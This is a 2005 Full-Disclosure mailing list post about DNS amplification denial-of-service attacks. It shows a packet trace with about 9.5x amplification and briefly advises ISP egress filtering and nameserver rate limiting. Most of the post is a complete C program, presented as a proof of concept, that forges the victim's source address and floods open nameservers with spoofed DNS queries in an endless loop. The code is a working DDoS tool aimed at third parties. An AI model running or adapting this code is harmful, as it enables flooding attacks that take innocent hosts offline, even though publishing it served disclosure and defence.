DNS smurf is old news: http://www.s0ftpj.org/docs/spj-002-000.txt http://www.ciac.org/ciac/bulletins/j-063.shtml However, as ISPs continue to operate networks that let spoofed packets out this issue deserves a little publicity again. 10:17:07.641061 IP (tos 0x0, ttl 64, id 46429, offset 0, flags [DF], length: 49) XXXXXXXXXXXXX.44295 > c.gtld-servers.net.domain: [udp sum ok] 18297 ANY? org. (21) 10:17:07.673800 IP (tos 0x0, ttl 43, id 0, offset 0, flags [DF], length: 468) c.gtld-servers.net.domain > XXXXXXXXXXXXX.44295: 18297- 0/13/13 (440) % echo "2 k 468 49 / p" | dc 9.55 That's a 9.5X amplification of outgoing traffic; you can probably break 10X with a little more work on the query and nameserver choices. SOLUTIONS --------- ISPs: Drop outgoing packets that don't originate from within your network. You should already be doing this, as it stops a variety of other attacks. NS operators: Ratelimit? Attached is a modernized proof of concept. -- Ian Gulliver Penguin Hosting "Failure is not an option; it comes bundled with your Microsoft products."
/* * dnos.c - DNS amplified DoS proof of concept * Copyright (C) 2005 Ian Gulliver * * This program is free software; you can redistribute it and/or modify * it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * */ // Linux will do the IP checksum in the kernel anyway #define SKIP_IP_CHECKSUM #include <stdlib.h> #include <time.h> #include <stdio.h> #include <netinet/ip.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <strings.h> struct s_packet { unsigned char packet[512]; unsigned int len; struct sockaddr_in dest; struct s_packet *next; }; struct s_dns_rr_type { char name[6]; char value[3]; }; struct s_dns_rr_type rr_types[] = { { "A", "\x00\x01" }, { "NS", "\x00\x02" }, { "CNAME", "\x00\x05" }, { "SOA", "\x00\x06" }, { "PTR", "\x00\x0c" }, { "MX", "\x00\x0f" }, { "TXT", "\x00\x10" }, { "AAAA", "\x00\x1c" }, { "ANY", "\x00\xff" } }; struct s_packet *packet_head = NULL; static const unsigned char packet_template[] = // IP Header "\x45" // 00: Version (4), header size in 4-byte blocks (5) "\x00" // 01: TOS (0) "\x00\x00" // 02-03: Total length (filled in later) "\x00\x00" // 04-05: ID (random) "\x40\x00" // 06-07: Flags (4 = DF), fragment offset (0) "\x00" // 08: TTL (random > 64) "\x11" // 09: Protocol (17 = UDP) "\x00\x00" // 10-11: Header checksum (filled in later) "\x00\x00\x00\x00" // 12-15: Source IP (filled in later) "\x00\x00\x00\x00" // 16-19: Destination IP (filled in later) // UDP Header "\x00\x00" // 20-21: Source port (random) "\x00\x35" // 22-23: Destination port (53) "\x00\x00" // 24-25: UDP packet length (filled in later) "\x00\x00" // 26-27: UDP packet checksum (filled in later) // DNS packet "\x00\x00" // 28-29: Identification (random) "\x00\x00" // 30-31: Flags (0) "\x00\x01" // 32-33: Questions (1) "\x00\x00" // 34-35: Answers (0) "\x00\x00" // 36-37: Authority (0) "\x00\x00" // 38-39: Additional (0) // Space left to encode RRs ; void do_random(unsigned char *dest, int min) { *dest = min + (rand() % (255 - min)); } void do_udp_checksum(struct s_packet *packet) { uint32_t sum = 0; uint16_t word; int i; packet->packet[26] = 0; packet->packet[27] = 0; for (i = 20; i < packet->len; i += 2) { word = ((packet->packet[i] << 8) & 0xff00) + (packet->packet[i+1] & 0xff); sum += (uint32_t) word; } for (i = 12; i < 20; i += 2) { word = ((packet->packet[i] << 8) & 0xff00) + (packet->packet[i+1] & 0xff); sum += (uint32_t) word; } sum += 17 + packet->len - 20; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); sum = ~sum; packet->packet[27] = sum & 0xff; packet->packet[26] = (sum & 0xff00) >> 8; } void do_ip_checksum(struct s_packet *packet) { uint32_t sum = 0; uint16_t word; int i; packet->packet[10] = 0; packet->packet[11] = 0; for (i = 0; i < 20; i += 2) { word = ((packet->packet[i] << 8) & 0xff00) + (packet->packet[i+1] & 0xff); sum += (uint32_t) word; } while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); sum = ~sum; packet->packet[11] = sum & 0xff; packet->packet[10] = (sum & 0xff00) >> 8; } void do_packet_everytime(struct s_packet *packet) { do_random(&packet->packet[4],0); do_random(&packet->packet[5],0); do_random(&packet->packet[8],64); do_random(&packet->packet[20],0); do_random(&packet->packet[21],0); do_random(&packet->packet[28],0); do_random(&packet->packet[29],0); do_udp_checksum(packet); #ifndef SKIP_IP_CHECKSUM do_ip_checksum(packet); #endif } void encode_ip(unsigned char *dest, char *string) { struct hostent *dnsres; if ((dnsres = gethostbyname(string)) == NULL || dnsres->h_addr_list == NULL || dnsres->h_addr_list[0] == NULL) { fprintf(stderr,"Unable to resolve %s.\n",string); exit(1); } memcpy(dest,dnsres->h_addr_list[0],4); return; } void add_label(struct s_packet *packet, char *label) { int i = strlen(label); if (i > 63) { fprintf(stderr,"DNS labels are limited to 63 characters.\n"); exit(1); } packet->packet[packet->len++] = (unsigned char) i; memcpy(&packet->packet[packet->len],label,i); packet->len += i; } void add_hostname(struct s_packet *packet, char *hostname) { unsigned char *temp,*next = hostname; while (next != NULL) { temp = strchr(hostname,'.'); if (temp == NULL) { next = NULL; } else { temp[0] = '\0'; next = &temp[1]; } add_label(packet,hostname); hostname = next; } if (packet->packet[packet->len - 1] != '\0') add_label(packet,""); // people deal with unterminated labels } void add_type(struct s_packet *packet, char *type) { int i; for (i = 0; i < sizeof(rr_types) / sizeof(*rr_types); i++) { if (strcasecmp(rr_types[i].name,type) == 0) { memcpy(&packet->packet[packet->len],rr_types[i].value,2); packet->len += 2; return; } } fprintf(stderr,"Unknown packet type: '%s'\n",type); exit(1); } void add_class_in(struct s_packet *packet) { memcpy(&packet->packet[packet->len],"\x00\x01",2); packet->len += 2; } void parse_line(struct s_packet *packet, char *line, unsigned char *dest_addr) { unsigned char bounce_addr[4]; char *start,*end; memcpy(packet->packet,packet_template,sizeof(packet_template)); packet->len = sizeof(packet_template) - 1; memcpy(&packet->packet[12],dest_addr,4); memset(&packet->dest,'\0',sizeof(packet->dest)); packet->dest.sin_family = AF_INET; packet->dest.sin_port = htons(53); start = line; end = strchr(start,':'); if (end == NULL) { fprintf(stderr,"Malformed line: %s\n",line); exit(1); } *end = '\0'; encode_ip(bounce_addr,start); memcpy(&packet->packet[16],bounce_addr,4); memcpy(&packet->dest.sin_addr.s_addr,bounce_addr,4); start = &end[1]; end = strchr(start,':'); if (end == NULL) { fprintf(stderr,"Malformed line: %s\n",line); exit(1); } *end = '\0'; if (strlen(start) > 400) { fprintf(stderr,"Use *small* DNS packets for amplification.\n"); exit(1); } add_hostname(packet,start); start = &end[1]; end = strchr(start,'\n'); if (end == NULL) { fprintf(stderr,"Malformed line: %s\n",line); exit(1); } *end = '\0'; add_type(packet,start); add_class_in(packet); packet->packet[3] = packet->len & 0xff; packet->packet[2] = (packet->len & 0xff00) >> 8; packet->packet[25] = (packet->len - 20) & 0xff; packet->packet[24] = ((packet->len - 20) & 0xff00) >> 8; packet->packet[packet->len] = '\0'; // in case UDP header runs into odd number of octets } void readfile(char *filename, char *destination) { unsigned char dest_addr[4]; char buffer[1024]; FILE *input; struct s_packet *packet_iter = NULL; encode_ip(dest_addr,destination); if ((input = fopen(filename,"r")) == NULL) { perror("Unable to open input file"); exit(1); } while (fgets(buffer,1024,input) != NULL) { struct s_packet *new_packet; if (buffer[0] == '\n' || buffer[0] == '\0' || buffer[0] == '#') continue; if ((new_packet = malloc(sizeof(struct s_packet))) == NULL) { perror("malloc"); exit(1); } if (packet_iter == NULL) packet_iter = packet_head = new_packet; else packet_iter = packet_iter->next = new_packet; parse_line(packet_iter,buffer,dest_addr); } if (packet_iter == NULL) { fprintf(stderr,"No records found in file.\n"); exit(1); } packet_iter->next = packet_head; // circular list now } int main(int argc, char *argv[]) { struct s_packet *packet_iter = NULL; int s; if (argc != 3) { fprintf(stderr,"Usage: %s <filename> <destination>\n" "File format is:\n" "<nameserver hostname or IP>:<query hostname>:<query type>\n",argv[0]); exit(1); } readfile(argv[1],argv[2]); srand(time(NULL)); s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { perror("socket(IPPROTO_RAW)"); exit(1); } printf("Sending packets...\n"); packet_iter = packet_head; while (1) { do_packet_everytime(packet_iter); if (sendto(s,packet_iter->packet,packet_iter->len,0,(struct sockaddr *)&packet_iter->dest,sizeof(packet_iter->dest)) != packet_iter->len) { perror("sendmsg"); exit(1); } packet_iter = packet_iter->next; } return 0; }
Attachment:
signature.asc
Description: Digital signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/